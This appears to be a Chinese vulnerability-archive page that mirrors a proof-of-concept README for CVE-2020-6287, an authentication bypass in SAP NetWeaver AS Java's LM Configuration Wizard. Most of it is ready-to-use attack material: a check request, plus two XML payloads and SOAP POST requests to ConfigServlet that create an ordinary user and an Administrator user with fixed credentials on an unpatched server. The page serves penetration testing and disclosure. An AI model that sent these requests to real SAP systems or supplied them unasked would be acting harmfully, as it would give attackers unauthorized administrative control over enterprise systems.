目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2020-6287 PoC — SAP NetWeaver AS JAVA 授权问题漏洞

来源
关联漏洞
标题: SAP NetWeaver AS JAVA 授权问题漏洞 (CVE-2020-6287)
Description:SAP Netweaver是德国思爱普(SAP)公司的一套面向服务的集成化应用平台。该平台主要为SAP应用程序提供开发和运行环境。SAP NetWeaver Application Server(AS)Java是一款运行于NetWeaver中且基于Java编程语言的应用服务器。 SAP NetWeaver AS JAVA (LM Configuration Wizard)中存在授权问题漏洞,该漏洞源于程序未执行身份验证检查。攻击者可利用该漏洞执行配置任务,在SAP Java系统上执行重要操作,包括创建管理
Description
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Authentication Bypass (Create Simple & Administrator Java User)
介绍
<b>[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Authentication Bypass (Create Simple & Administrator Java User)</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
SAP NetWeaver is SAP’s integrated technology platform and the technical foundation of all SAP applications since SAP Business Suite. SAP NetWeaver is a service-oriented application and integration platform that provides a development and running environment for SAP applications, and can also be used for custom development and integration with other applications and systems. SAP NetWeaver AS JAVA (LM Configuration Wizard), versions `7.30, 7.31, 7.40, 7.50`, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to missing authentication check.

- [X] In order to checking CVE-2020-6287: ``` GET /CTCWebService/CTCWebServiceBean?wsdl```<br>
- [X] In order to create simple Java user: go to ```Proof of Concept (PoC) 1```<br>
- [X] In order to create Administrator Java user: ```Proof of Concept (PoC) 2```<br>
- [X] For safely proof of concept: check out [`CVE-2020-6286`](https://github.com/murataydemir/CVE-2020-6286) repository

<b>Proof of Concept (PoC) 1:</b> Create simple Java user

Payload
```xml
<root>
    <user>
        <JavaOrABAP>java</JavaOrABAP>
        <username>pentestuser</username>
        <password>v3rystr0ngp@ssw0rd</password>
        <userType></userType>
    </user>
</root>
```

Encode above payload to Base64 and insert into below request's <BASE64_ENCODED_PAYLOAD_HERE> field

```
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>
```

<b>Proof of Concept (PoC) 2:</b> Create Administrator Java user</b>

Payload
```xml
<PCK>
    <Usermanagement>
        <SAP_XI_PCK_CONFIG>
            <roleName>Administrator</roleName>
        </SAP_XI_PCK_CONFIG>
        <SAP_XI_PCK_COMMUNICATION>
            <roleName>ThisIsRnd9326</roleName>
        </SAP_XI_PCK_COMMUNICATION>
        <SAP_XI_PCK_MONITOR>
            <roleName>ThisIsRnd5031</roleName>
        </SAP_XI_PCK_MONITOR>
        <SAP_XI_PCK_ADMIN>
            <roleName>ThisIsRnd9846</roleName>
        </SAP_XI_PCK_ADMIN>
        <PCKUser>
            <userName secure="true">pentestuser</userName>
            <password secure="true">v3rystr0ngp@ssw0rd</password>
        </PCKUser>
        <PCKReceiver>
            <userName>ThisIsRnd6461</userName>
            <password secure="true">ThisIsRnd5525</password>
        </PCKReceiver>
        <PCKMonitor>
            <userName>ThisIsRnd9457</userName>
            <password secure="true">ThisIsRnd9037</password>
        </PCKMonitor>
        <PCKAdmin>
            <userName>ThisIsRnd8386</userName>
            <password secure="true">ThisIsRnd8477</password>
        </PCKAdmin>
    </Usermanagement>
</PCK>
```

Encode above payload to Base64 and insert into below request's <BASE64_ENCODED_PAYLOAD_HERE> field
```
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →